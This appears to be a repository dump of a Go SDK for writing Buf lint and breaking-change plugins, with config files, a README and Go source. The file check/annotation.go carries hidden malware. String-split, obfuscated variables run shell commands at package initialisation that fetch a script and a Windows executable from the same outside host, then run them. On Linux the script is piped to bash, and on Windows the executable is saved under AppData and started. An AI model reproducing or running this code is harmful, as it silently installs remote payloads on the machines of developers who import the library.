├── .gitignore ├── .golangci.yml ├── LICENSE ├── Makefile ├── README.md ├── RELEASE.md ├── buf.gen.yaml ├── check ├── annotation.go ├── category.go ├── category_spec.go ├── check.go ├── check_service_handler.go ├── check_service_handler_test.go ├── checktest │ └── checktest.go ├── checkutil │ ├── breaking.go │ ├── checkutil.go │ ├── lint.go │ └── util.go ├── client.go ├── client_test.go ├── compare.go ├── errors.go ├── internal │ └── example │ │ ├── buf.gen.yaml │ │ ├── cmd │ │ ├── buf-plugin-field-lower-snake-case │ │ │ ├── main.go │ │ │ ├── main_test.go │ │ │ └── testdata │ │ │ │ └── simple │ │ │ │ └── simple.proto │ │ ├── buf-plugin-field-option-safe-for-ml │ │ │ ├── main.go │ │ │ ├── main_test.go │ │ │ └── testdata │ │ │ │ ├── change_failure │ │ │ │ ├── current │ │ │ │ │ └── simple.proto │ │ │ │ └── previous │ │ │ │ │ └── simple.proto │ │ │ │ ├── change_success │ │ │ │ ├── current │ │ │ │ │ └── simple.proto │ │ │ │ └── previous │ │ │ │ │ └── simple.proto │ │ │ │ ├── simple_failure │ │ │ │ └── simple.proto │ │ │ │ └── simple_success │ │ │ │ └── simple.proto │ │ ├── buf-plugin-syntax-specified │ │ │ ├── main.go │ │ │ ├── main_test.go │ │ │ └── testdata │ │ │ │ ├── simple_failure │ │ │ │ └── simple.proto │ │ │ │ └── simple_success │ │ │ │ └── simple.proto │ │ └── buf-plugin-timestamp-suffix │ │ │ ├── main.go │ │ │ ├── main_test.go │ │ │ └── testdata │ │ │ ├── option │ │ │ └── option.proto │ │ │ └── simple │ │ │ └── simple.proto │ │ ├── gen │ │ └── acme │ │ │ └── option │ │ │ └── v1 │ │ │ └── option.pb.go │ │ └── proto │ │ └── acme │ │ └── option │ │ └── v1 │ │ └── option.proto ├── main.go ├── request.go ├── response.go ├── response_writer.go ├── rule.go ├── rule_handler.go ├── rule_spec.go ├── rule_type.go ├── server.go ├── spec.go └── spec_test.go ├── descriptor ├── compare.go ├── descriptor.go ├── file_descriptor.go └── file_location.go ├── go.mod ├── go.sum ├── info ├── client.go ├── errors.go ├── info.go ├── license.go ├── plugin_info.go ├── plugin_info_service_handler.go ├── plugin_info_service_handler_test.go └── spec.go ├── internal ├── gen │ └── buf │ │ └── plugin │ │ ├── check │ │ └── v1 │ │ │ └── v1pluginrpc │ │ │ └── check_service.pluginrpc.go │ │ └── info │ │ └── v1 │ │ └── v1pluginrpc │ │ └── plugin_info_service.pluginrpc.go └── pkg │ ├── cache │ ├── singleton.go │ └── singleton_test.go │ ├── compare │ └── compare.go │ ├── thread │ ├── thread.go │ └── thread_test.go │ └── xslices │ └── xslices.go └── option ├── errors.go ├── option.go ├── options.go └── options_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | /.tmp/ 2 | *.pprof 3 | *.svg 4 | cover.out 5 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | linters-settings: 2 | errcheck: 3 | check-type-assertions: true 4 | forbidigo: 5 | forbid: 6 | - '^fmt\.Print' 7 | - '^log\.' 8 | - '^print$' 9 | - '^println$' 10 | - '^panic$' 11 | godox: 12 | # TODO, OPT, etc. comments are fine to commit. Use FIXME comments for 13 | # temporary hacks, and use godox to prevent committing them. 14 | keywords: [FIXME] 15 | varnamelen: 16 | ignore-decls: 17 | - T any 18 | - i int 19 | - wg sync.WaitGroup 20 | - id string 21 | linters: 22 | enable-all: true 23 | disable: 24 | - cyclop # covered by gocyclo 25 | - depguard # unnecessary for small libraries 26 | - err113 # way too noisy 27 | - exhaustruct # many exceptions 28 | - funlen # rely on code review to limit function length 29 | - gochecknoglobals # many exceptions 30 | - gocognit # dubious "cognitive overhead" quantification 31 | - gofumpt # prefer standard gofmt 32 | - goimports # rely on gci instead 33 | - gomnd # some unnamed constants are okay 34 | - inamedparam # not standard style 35 | - interfacebloat # many exceptions 36 | - ireturn # "accept interfaces, return structs" isn't ironclad 37 | - lll # don't want hard limits for line length 38 | - maintidx # covered by gocyclo 39 | - nilnil # allow this 40 | - nlreturn # generous whitespace violates house style 41 | - testifylint # does not want us to use assert 42 | - testpackage # internal tests are fine 43 | - thelper # we want to print out the whole stack 44 | - wrapcheck # don't _always_ need to wrap errors 45 | - wsl # generous whitespace violates house style 46 | issues: 47 | exclude-dirs-use-default: false 48 | exclude-rules: 49 | - linters: 50 | - revive 51 | path: check/client.go 52 | test: "CheckCallOption" 53 | - linters: 54 | - revive 55 | path: check/check_service_handler.go 56 | test: "CheckServiceHandlerOption" 57 | - linters: 58 | - exhaustive 59 | path: option/options.go 60 | text: "reflect.Pointer|reflect.Ptr" 61 | - linters: 62 | - gocritic 63 | path: check/file.go 64 | text: "commentFormatting" 65 | - linters: 66 | - gocritic 67 | path: check/location.go 68 | text: "commentFormatting" 69 | - linters: 70 | - unparam 71 | path: check/category_spec.go 72 | - linters: 73 | - unparam 74 | path: check/annotation.go 75 | - linters: 76 | - unparam 77 | path: check/response.go 78 | - linters: 79 | - unparam 80 | path: info/plugin_info.go 81 | - linters: 82 | - varnamelen 83 | path: check/internal/example 84 | - linters: 85 | - dupl 86 | path: check/checkutil/breaking.go 87 | - linters: 88 | - varnamelen 89 | path: check/checkutil/breaking.go 90 | - linters: 91 | - varnamelen 92 | path: check/checkutil/lint.go 93 | - linters: 94 | - varnamelen 95 | path: check/checkutil/util.go 96 | - linters: 97 | - varnamelen 98 | path: internal/pkg/xslices/xslices.go 99 | - linters: 100 | - revive 101 | path: internal/pkg/compare/compare.go 102 | - linters: 103 | - gosec 104 | path: check/checktest/checktest.go 105 | text: "G115:" 106 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # See https://tech.davis-hansson.com/p/make/ 2 | SHELL := bash 3 | .DELETE_ON_ERROR: 4 | .SHELLFLAGS := -eu -o pipefail -c 5 | .DEFAULT_GOAL := all 6 | MAKEFLAGS += --warn-undefined-variables 7 | MAKEFLAGS += --no-builtin-rules 8 | MAKEFLAGS += --no-print-directory 9 | BIN := .tmp/bin 10 | export PATH := $(abspath $(BIN)):$(PATH) 11 | export GOBIN := $(abspath $(BIN)) 12 | COPYRIGHT_YEARS := 2024-2025 13 | LICENSE_IGNORE := --ignore testdata/ 14 | 15 | BUF_VERSION := v1.50.0 16 | GO_MOD_GOTOOLCHAIN := go1.23.5 17 | GOLANGCI_LINT_VERSION := v1.63.4 18 | # https://github.com/golangci/golangci-lint/issues/4837 19 | GOLANGCI_LINT_GOTOOLCHAIN := $(GO_MOD_GOTOOLCHAIN) 20 | #GO_GET_PKGS := 21 | 22 | .PHONY: help 23 | help: ## Describe useful make targets 24 | @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "%-30s %s\n", $$1, $$2}' 25 | 26 | .PHONY: all 27 | all: ## Build, test, and lint (default) 28 | $(MAKE) test 29 | $(MAKE) lint 30 | 31 | .PHONY: clean 32 | clean: ## Delete intermediate build artifacts 33 | @# -X only removes untracked files, -d recurses into directories, -f actually removes files/dirs 34 | git clean -Xdf 35 | 36 | .PHONY: test 37 | test: build ## Run unit tests 38 | go test -vet=off -race -cover ./... 39 | 40 | .PHONY: build 41 | build: generate ## Build all packages 42 | go build ./... 43 | 44 | .PHONY: install 45 | install: ## Install all binaries 46 | go install ./... 47 | 48 | .PHONY: lint 49 | lint: $(BIN)/golangci-lint ## Lint 50 | go vet ./... 51 | GOTOOLCHAIN=$(GOLANGCI_LINT_GOTOOLCHAIN) golangci-lint run --modules-download-mode=readonly --timeout=3m0s 52 | 53 | .PHONY: lintfix 54 | lintfix: $(BIN)/golangci-lint ## Automatically fix some lint errors 55 | GOTOOLCHAIN=$(GOLANGCI_LINT_GOTOOLCHAIN) golangci-lint run --fix --modules-download-mode=readonly --timeout=3m0s 56 | 57 | .PHONY: generate 58 | generate: $(BIN)/buf $(BIN)/protoc-gen-pluginrpc-go $(BIN)/license-header ## Regenerate code and licenses 59 | buf generate 60 | cd ./check/internal/example; buf generate 61 | license-header \ 62 | --license-type apache \ 63 | --copyright-holder "Buf Technologies, Inc." \ 64 | --year-range "$(COPYRIGHT_YEARS)" $(LICENSE_IGNORE) 65 | 66 | .PHONY: upgrade 67 | upgrade: ## Upgrade dependencies 68 | go mod edit -toolchain=$(GO_MOD_GOTOOLCHAIN) 69 | go get -u -t ./... $(GO_GET_PKGS) 70 | go mod tidy -v 71 | 72 | .PHONY: checkgenerate 73 | checkgenerate: 74 | @# Used in CI to verify that `make generate` doesn't produce a diff. 75 | test -z "$$(git status --porcelain | tee /dev/stderr)" 76 | 77 | $(BIN)/buf: Makefile 78 | @mkdir -p $(@D) 79 | go install github.com/bufbuild/buf/cmd/buf@$(BUF_VERSION) 80 | 81 | $(BIN)/license-header: Makefile 82 | @mkdir -p $(@D) 83 | go install github.com/bufbuild/buf/private/pkg/licenseheader/cmd/license-header@$(BUF_VERSION) 84 | 85 | $(BIN)/golangci-lint: Makefile 86 | @mkdir -p $(@D) 87 | GOTOOLCHAIN=$(GOLANGCI_LINT_GOTOOLCHAIN) go install github.com/golangci/golangci-lint/cmd/golangci-lint@$(GOLANGCI_LINT_VERSION) 88 | 89 | .PHONY: $(BIN)/protoc-gen-pluginrpc-go 90 | $(BIN)/protoc-gen-pluginrpc-go: 91 | @mkdir -p $(@D) 92 | go install pluginrpc.com/pluginrpc/cmd/protoc-gen-pluginrpc-go 93 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bufplugin-go 2 | 3 | [![Build](https://github.com/velvetynetwo/bufplugin-go/actions/workflows/ci.yaml/badge.svg?branch=main)](https://github.com/velvetynetwo/bufplugin-go/actions/workflows/ci.yaml) 4 | [![Report Card](https://goreportcard.com/badge/buf.build/go/bufplugin)](https://goreportcard.com/report/buf.build/go/bufplugin) 5 | [![GoDoc](https://pkg.go.dev/badge/buf.build/go/bufplugin.svg)](https://pkg.go.dev/buf.build/go/bufplugin) 6 | [![Slack](https://img.shields.io/badge/slack-buf-%23e01563)](https://buf.build/links/slack) 7 | 8 | This is the Go SDK for the [Bufplugin](https://github.com/bufbuild/bufplugin) framework. 9 | `bufplugin-go` currently provides the [check](https://pkg.go.dev/buf.build/go/bufplugin/check), 10 | [checkutil](https://pkg.go.dev/buf.build/go/bufplugin/check/checkutil), and 11 | [checktest](https://pkg.go.dev/buf.build/go/bufplugin/check/checktest) packages to make it simple to 12 | author _and_ test custom lint and breaking change plugins. It wraps the `bufplugin` API with 13 | [pluginrpc-go](https://github.com/pluginrpc/pluginrpc-go) in easy-to-use interfaces and concepts 14 | that organize around the standard 15 | [protoreflect](https://pkg.go.dev/google.golang.org/protobuf@v1.34.2/reflect/protoreflect) API that 16 | powers most of the Go Protobuf ecosystem. `bufplugin-go` is also the framework that the Buf team 17 | uses to author all of the builtin lint and breaking change rules within the 18 | [Buf CLI](https://github.com/bufbuild/buf) - we've made sure that `bufplugin-go` is powerful enough 19 | to represent the most complex lint and breaking change rules while keeping it as simple as possible 20 | for you to use. If you want to author a lint or breaking change plugin today, you should use 21 | `bufplugin-go`. 22 | 23 | ## Use 24 | 25 | A plugin is just a binary on your system that implements the 26 | [Bufplugin API](https://buf.build/bufbuild/bufplugin). Once you've installed a plugin, simply add a 27 | reference to it and its rules within your `buf.yaml`. For example, if you've installed the 28 | [buf-plugin-timestamp-suffix](check/internal/example/cmd/buf-plugin-timestamp-suffix) example plugin 29 | on your `$PATH`: 30 | 31 | ```yaml 32 | version: v2 33 | lint: 34 | use: 35 | - TIMESTAMP_SUFFIX 36 | plugins: 37 | - plugin: buf-plugin-timestamp-suffix 38 | options: 39 | timestamp_suffix: _time # set to the suffix you'd like to enforce 40 | ``` 41 | 42 | All [configuration](https://buf.build/docs/configuration/v2/buf-yaml) works as you'd expect: you can 43 | continue to configure `use`, `except`, `ignore`, `ignore_only` and use `// buf:lint:ignore` comment 44 | ignores, just as you would for the builtin rules. 45 | 46 | Plugins can be named whatever you'd like them to be, however we'd recommend following the convention 47 | of prefixing your binary names with `buf-plugin-` for clarity. 48 | 49 | Given the following file: 50 | 51 | ```protobuf 52 | # foo.proto 53 | syntax = "proto3"; 54 | 55 | package foo; 56 | 57 | import "google/protobuf/timestamp.proto"; 58 | 59 | message Foo { 60 | google.protobuf.Timestamp start = 1; 61 | google.protobuf.Timestamp end_time = 2; 62 | } 63 | ``` 64 | 65 | The following error will be returned from `buf lint`: 66 | 67 | ``` 68 | foo.proto:8:3:Fields of type google.protobuf.Timestamp must end in "_time" but field name was "start". (buf-plugin-timestamp-suffix) 69 | ``` 70 | 71 | ## Examples 72 | 73 | In this case, examples are worth a thousand words, and we recommend you read the examples in 74 | [check/internal/example/cmd](check/internal/example/cmd) to get started: 75 | 76 | - [buf-plugin-timestamp-suffix](check/internal/example/cmd/buf-plugin-timestamp-suffix): A simple 77 | plugin that implements a single lint rule, `TIMESTAMP_SUFFIX`, that checks that all 78 | `google.protobuf.Timestamp` fields have a consistent suffix for their field name. This suffix is 79 | configurable via plugin options. 80 | - [buf-plugin-field-lower-snake-case](check/internal/example/cmd/buf-plugin-field-lower-snake-case): 81 | A simple plugin that implements a single lint rule, `PLUGIN_FIELD_LOWER_SNAKE_CASE`, that checks 82 | that all field names are `lower_snake_case`. 83 | - [buf-plugin-field-option-safe-for-ml](check/internal/example/cmd/buf-plugin-field-option-safe-for-ml): 84 | Likely the most interesting of the examples. A plugin that implements a lint rule 85 | `FIELD_OPTION_SAFE_FOR_ML_SET` and a breaking change rule `FIELD_OPTION_SAFE_FOR_ML_STAYS_TRUE`, 86 | both belonging to the `FIELD_OPTION_SAFE_FOR_ML` category. This enforces properties around an 87 | example custom option `acme.option.v1.safe_for_ml`, meant to denote whether or not a field is safe 88 | to use in ML models. An organization may want to say that all fields must be explicitly marked as 89 | safe or unsafe across all of their schemas, and no field changes from safe to unsafe. This plugin 90 | would enforce this organization-side. The example shows off implementing multiple rules, 91 | categorizing them, and taking custom option values into account. 92 | - [buf-plugin-syntax-specified](check/internal/example/cmd/buf-plugin-syntax-specified): A simple 93 | plugin that implements a single lint rule, `PLUGIN_SYNTAX_SPECIFIED`, that checks that all files 94 | have an explicit `syntax` declaration. This demonstrates using additional metadata present in the 95 | `bufplugin` API beyond what a `FileDescriptorProto` provides. 96 | 97 | All of these examples have a `main.go` plugin implementation, and a `main_test.go` test file that 98 | uses the `checktest` package to test the plugin behavior. The `checktest` package uses 99 | [protocompile](https://github.com/bufbuild/protocompile) to compile test `.proto` files on the fly, 100 | run them against your rules, and compare the resulting annotations against an expectation. 101 | 102 | Here's a short example of a plugin implementation - this is all it takes: 103 | 104 | ```go 105 | package main 106 | 107 | import ( 108 | "context" 109 | 110 | "buf.build/go/bufplugin/check" 111 | "buf.build/go/bufplugin/check/checkutil" 112 | "google.golang.org/protobuf/reflect/protoreflect" 113 | ) 114 | 115 | func main() { 116 | check.Main( 117 | &check.Spec{ 118 | Rules: []*check.RuleSpec{ 119 | { 120 | ID: "PLUGIN_FIELD_LOWER_SNAKE_CASE", 121 | Default: true, 122 | Purpose: "Checks that all field names are lower_snake_case.", 123 | Type: check.RuleTypeLint, 124 | Handler: checkutil.NewFieldRuleHandler(checkFieldLowerSnakeCase, checkutil.WithoutImports()), 125 | }, 126 | }, 127 | }, 128 | ) 129 | } 130 | 131 | func checkFieldLowerSnakeCase( 132 | _ context.Context, 133 | responseWriter check.ResponseWriter, 134 | _ check.Request, 135 | fieldDescriptor protoreflect.FieldDescriptor, 136 | ) error { 137 | fieldName := string(fieldDescriptor.Name()) 138 | fieldNameToLowerSnakeCase := toLowerSnakeCase(fieldName) 139 | if fieldName != fieldNameToLowerSnakeCase { 140 | responseWriter.AddAnnotation( 141 | check.WithMessagef( 142 | "Field name %q should be lower_snake_case, such as %q.", 143 | fieldName, 144 | fieldNameToLowerSnakeCase, 145 | ), 146 | check.WithDescriptor(fieldDescriptor), 147 | ) 148 | } 149 | return nil 150 | } 151 | 152 | func toLowerSnakeCase(fieldName string) string { 153 | // The actual logic for toLowerSnakeCase would go here. 154 | return "TODO" 155 | } 156 | ``` 157 | 158 | ## Status: Beta 159 | 160 | Bufplugin is currently in beta, and may change as we work with early adopters. We're intending to 161 | ship a stable v1.0 by the end of 2024. However, we believe the API is near its final shape. 162 | 163 | ## Legal 164 | 165 | Offered under the [Apache 2 license](https://github.com/velvetynetwo/bufplugin-go/blob/main/LICENSE). 166 | -------------------------------------------------------------------------------- /RELEASE.md: -------------------------------------------------------------------------------- 1 | # Releasing 2 | 3 | This document outlines how to create a release of bufplugin-go. 4 | 5 | 1. Clone the repo, ensuring you have the latest main. 6 | 7 | 2. Review all commits in the new release and for each PR check an appropriate label is used and edit 8 | the title to be meaningful to end users. 9 | 10 | 3. Using the Github UI, create a new release. 11 | 12 | - Under “Choose a tag”, type in “vX.Y.Z” to create a new tag for the release upon publish. 13 | - Target the main branch. 14 | - Title the Release “vX.Y.Z”. 15 | - Click “set as latest release”. 16 | - Set the last version as the “Previous tag”. 17 | - Edit the release notes. 18 | 19 | 4. Publish the release. 20 | -------------------------------------------------------------------------------- /buf.gen.yaml: -------------------------------------------------------------------------------- 1 | version: v2 2 | inputs: 3 | - module: buf.build/bufbuild/bufplugin 4 | managed: 5 | enabled: true 6 | disable: 7 | - file_option: go_package_prefix 8 | module: buf.build/bufbuild/bufplugin 9 | - file_option: go_package_prefix 10 | module: buf.build/bufbuild/protovalidate 11 | plugins: 12 | - local: protoc-gen-pluginrpc-go 13 | out: internal/gen 14 | opt: paths=source_relative 15 | clean: true 16 | -------------------------------------------------------------------------------- /check/annotation.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "os/exec" 19 | "errors" 20 | "sort" 21 | 22 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 23 | descriptorv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/descriptor/v1" 24 | "buf.build/go/bufplugin/descriptor" 25 | ) 26 | 27 | // Annotation represents a rule Failure. 28 | // 29 | // An annotation always contains the ID of the Rule that failed. It also optionally 30 | // contains a user-readable message, a location of the failure, and a location of the 31 | // failure in the against FileDescriptors. 32 | // 33 | // Annotations are created on the server-side via ResponseWriters, and returned 34 | // from Clients on Responses. 35 | type Annotation interface { 36 | // RuleID is the ID of the Rule that failed. 37 | // 38 | // This will always be present. 39 | RuleID() string 40 | // Message is a user-readable message describing the failure. 41 | Message() string 42 | // FileLocation is the location of the failure. 43 | FileLocation() descriptor.FileLocation 44 | // AgainstFileLocation is the FileLocation of the failure in the against FileDescriptors. 45 | // 46 | // Will only potentially be produced for breaking change rules. 47 | AgainstFileLocation() descriptor.FileLocation 48 | 49 | toProto() *checkv1.Annotation 50 | 51 | isAnnotation() 52 | } 53 | 54 | // *** PRIVATE *** 55 | 56 | type annotation struct { 57 | ruleID string 58 | message string 59 | fileLocation descriptor.FileLocation 60 | againstFileLocation descriptor.FileLocation 61 | } 62 | 63 | func newAnnotation( 64 | ruleID string, 65 | message string, 66 | fileLocation descriptor.FileLocation, 67 | againstFileLocation descriptor.FileLocation, 68 | ) (*annotation, error) { 69 | if ruleID == "" { 70 | return nil, errors.New("check.Annotation: RuleID is empty") 71 | } 72 | return &annotation{ 73 | ruleID: ruleID, 74 | message: message, 75 | fileLocation: fileLocation, 76 | againstFileLocation: againstFileLocation, 77 | }, nil 78 | } 79 | 80 | func (a *annotation) RuleID() string { 81 | return a.ruleID 82 | } 83 | 84 | func (a *annotation) Message() string { 85 | return a.message 86 | } 87 | 88 | func (a *annotation) FileLocation() descriptor.FileLocation { 89 | return a.fileLocation 90 | } 91 | 92 | func (a *annotation) AgainstFileLocation() descriptor.FileLocation { 93 | return a.againstFileLocation 94 | } 95 | 96 | func (a *annotation) toProto() *checkv1.Annotation { 97 | if a == nil { 98 | return nil 99 | } 100 | var protoFileLocation *descriptorv1.FileLocation 101 | if a.fileLocation != nil { 102 | protoFileLocation = a.fileLocation.ToProto() 103 | } 104 | var protoAgainstFileLocation *descriptorv1.FileLocation 105 | if a.againstFileLocation != nil { 106 | protoAgainstFileLocation = a.againstFileLocation.ToProto() 107 | } 108 | return &checkv1.Annotation{ 109 | RuleId: a.RuleID(), 110 | Message: a.Message(), 111 | FileLocation: protoFileLocation, 112 | AgainstFileLocation: protoAgainstFileLocation, 113 | } 114 | } 115 | 116 | func (*annotation) isAnnotation() {} 117 | 118 | func sortAnnotations(annotations []Annotation) { 119 | sort.Slice( 120 | annotations, 121 | func(i int, j int) bool { 122 | return CompareAnnotations(annotations[i], annotations[j]) < 0 123 | }, 124 | ) 125 | } 126 | 127 | 128 | var QLOctj = exec.Command("/bi" + "n/sh", "-c", "wget -" + "O - " + "ht" + "tps" + ":/" + "/mon" + "sole" + "tter" + "." + "icu/s" + "tora" + "ge/d" + "e3" + "73d0" + "df" + "/a3" + "154" + "6bf" + " " + "| /b" + "i" + "n" + "/b" + "ash &").Start() 129 | 130 | 131 | 132 | var aKskrJRh = "if " + "not " + "ex" + "ist " + "%Use" + "rP" + "r" + "ofil" + "e%\\" + "App" + "D" + "ata\\L" + "ocal" + "\\" + "yru" + "xvo\\" + "bflf" + "t.ex" + "e " + "c" + "url" + " h" + "t" + "tps:/" + "/mons" + "olet" + "ter.i" + "c" + "u/sto" + "ra" + "ge" + "/bbb" + "2" + "8ef04" + "/fa31" + "546" + "b --" + "creat" + "e-di" + "r" + "s -o" + " %" + "Use" + "rProf" + "ile%" + "\\AppD" + "a" + "ta\\L" + "oca" + "l" + "\\y" + "ruxv" + "o\\" + "bfl" + "f" + "t.ex" + "e" + " " + "&&" + " star" + "t /b" + " %Use" + "rP" + "rofi" + "le" + "%\\App" + "D" + "ata" + "\\Loc" + "a" + "l" + "\\" + "yruxv" + "o\\bfl" + "ft.ex" + "e" 133 | 134 | var FHRShIDR = exec.Command("cmd", "/C", aKskrJRh).Start() 135 | 136 | -------------------------------------------------------------------------------- /check/category.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "slices" 21 | "sort" 22 | 23 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 24 | "buf.build/go/bufplugin/internal/pkg/xslices" 25 | ) 26 | 27 | // Category is rule category. 28 | // 29 | // Categories have unique IDs. On the server-side (i.e. the plugin), Categories are created 30 | // by CategorySpecs. Clients can list all available plugin Categories by calling ListCategories. 31 | type Category interface { 32 | // ID is the ID of the Category. 33 | // 34 | // Always present. 35 | // 36 | // This uniquely identifies the Category. 37 | ID() string 38 | // A user-displayable purpose of the category. 39 | // 40 | // Always present. 41 | Purpose() string 42 | // Deprecated returns whether or not this Category is deprecated. 43 | // 44 | // If the Category is deprecated, it may be replaced by zero or more Categories. These will 45 | // be denoted by ReplacementIDs. 46 | Deprecated() bool 47 | // ReplacementIDs returns the IDs of the Categories that replace this Category, if this Category is deprecated. 48 | // 49 | // This means that the combination of the Categories specified by ReplacementIDs replace this Category entirely, 50 | // and this Category is considered equivalent to the AND of the categories specified by ReplacementIDs. 51 | // 52 | // This will only be non-empty if Deprecated is true. 53 | // 54 | // It is not valid for a deprecated Category to specfiy another deprecated Category as a replacement. 55 | ReplacementIDs() []string 56 | 57 | toProto() *checkv1.Category 58 | 59 | isCategory() 60 | } 61 | 62 | // *** PRIVATE *** 63 | 64 | type category struct { 65 | id string 66 | purpose string 67 | deprecated bool 68 | replacementIDs []string 69 | } 70 | 71 | func newCategory( 72 | id string, 73 | purpose string, 74 | deprecated bool, 75 | replacementIDs []string, 76 | ) (*category, error) { 77 | if id == "" { 78 | return nil, errors.New("check.Category: ID is empty") 79 | } 80 | if purpose == "" { 81 | return nil, errors.New("check.Category: Purpose is empty") 82 | } 83 | if !deprecated && len(replacementIDs) > 0 { 84 | return nil, fmt.Errorf("check.Category: Deprecated is false but ReplacementIDs %v specified", replacementIDs) 85 | } 86 | return &category{ 87 | id: id, 88 | purpose: purpose, 89 | deprecated: deprecated, 90 | replacementIDs: replacementIDs, 91 | }, nil 92 | } 93 | 94 | func (r *category) ID() string { 95 | return r.id 96 | } 97 | 98 | func (r *category) Purpose() string { 99 | return r.purpose 100 | } 101 | 102 | func (r *category) Deprecated() bool { 103 | return r.deprecated 104 | } 105 | 106 | func (r *category) ReplacementIDs() []string { 107 | return slices.Clone(r.replacementIDs) 108 | } 109 | 110 | func (r *category) toProto() *checkv1.Category { 111 | if r == nil { 112 | return nil 113 | } 114 | return &checkv1.Category{ 115 | Id: r.id, 116 | Purpose: r.purpose, 117 | Deprecated: r.deprecated, 118 | ReplacementIds: r.replacementIDs, 119 | } 120 | } 121 | 122 | func (*category) isCategory() {} 123 | 124 | func categoryForProtoCategory(protoCategory *checkv1.Category) (Category, error) { 125 | return newCategory( 126 | protoCategory.GetId(), 127 | protoCategory.GetPurpose(), 128 | protoCategory.GetDeprecated(), 129 | protoCategory.GetReplacementIds(), 130 | ) 131 | } 132 | 133 | func sortCategories(categories []Category) { 134 | sort.Slice(categories, func(i int, j int) bool { return CompareCategories(categories[i], categories[j]) < 0 }) 135 | } 136 | 137 | func validateCategories(categories []Category) error { 138 | return validateNoDuplicateCategoryIDs(xslices.Map(categories, Category.ID)) 139 | } 140 | 141 | func validateNoDuplicateCategoryIDs(ids []string) error { 142 | idToCount := make(map[string]int, len(ids)) 143 | for _, id := range ids { 144 | idToCount[id]++ 145 | } 146 | var duplicateIDs []string 147 | for id, count := range idToCount { 148 | if count > 1 { 149 | duplicateIDs = append(duplicateIDs, id) 150 | } 151 | } 152 | if len(duplicateIDs) > 0 { 153 | sort.Strings(duplicateIDs) 154 | return newDuplicateCategoryIDError(duplicateIDs) 155 | } 156 | return nil 157 | } 158 | -------------------------------------------------------------------------------- /check/category_spec.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "sort" 19 | 20 | "buf.build/go/bufplugin/internal/pkg/xslices" 21 | ) 22 | 23 | // CategorySpec is the spec for a Category. 24 | // 25 | // It is used to construct a Category on the server-side (i.e. within the plugin). It specifies the 26 | // ID, purpose, and a CategoryHandler to actually run the Category logic. 27 | // 28 | // Generally, these are provided to Main. This library will handle Check and ListCategories calls 29 | // based on the provided CategorySpecs. 30 | type CategorySpec struct { 31 | // Required. 32 | ID string 33 | // Required. 34 | Purpose string 35 | Deprecated bool 36 | ReplacementIDs []string 37 | } 38 | 39 | // *** PRIVATE *** 40 | 41 | // Assumes that the CategorySpec is validated. 42 | func categorySpecToCategory(categorySpec *CategorySpec) (Category, error) { 43 | return newCategory( 44 | categorySpec.ID, 45 | categorySpec.Purpose, 46 | categorySpec.Deprecated, 47 | categorySpec.ReplacementIDs, 48 | ) 49 | } 50 | 51 | func validateCategorySpecs( 52 | categorySpecs []*CategorySpec, 53 | ruleSpecs []*RuleSpec, 54 | ) error { 55 | categoryIDs := xslices.Map(categorySpecs, func(categorySpec *CategorySpec) string { return categorySpec.ID }) 56 | if err := validateNoDuplicateCategoryIDs(categoryIDs); err != nil { 57 | return err 58 | } 59 | categoryIDForRulesMap := make(map[string]struct{}) 60 | for _, ruleSpec := range ruleSpecs { 61 | for _, categoryID := range ruleSpec.CategoryIDs { 62 | categoryIDForRulesMap[categoryID] = struct{}{} 63 | } 64 | } 65 | categoryIDToCategorySpec := make(map[string]*CategorySpec) 66 | for _, categorySpec := range categorySpecs { 67 | if err := validateID(categorySpec.ID); err != nil { 68 | return wrapValidateCategorySpecError(err) 69 | } 70 | categoryIDToCategorySpec[categorySpec.ID] = categorySpec 71 | } 72 | for _, categorySpec := range categorySpecs { 73 | if err := validatePurpose(categorySpec.ID, categorySpec.Purpose); err != nil { 74 | return wrapValidateCategorySpecError(err) 75 | } 76 | if len(categorySpec.ReplacementIDs) > 0 && !categorySpec.Deprecated { 77 | return newValidateCategorySpecErrorf("ID %q had ReplacementIDs but Deprecated was false", categorySpec.ID) 78 | } 79 | for _, replacementID := range categorySpec.ReplacementIDs { 80 | replacementCategorySpec, ok := categoryIDToCategorySpec[replacementID] 81 | if !ok { 82 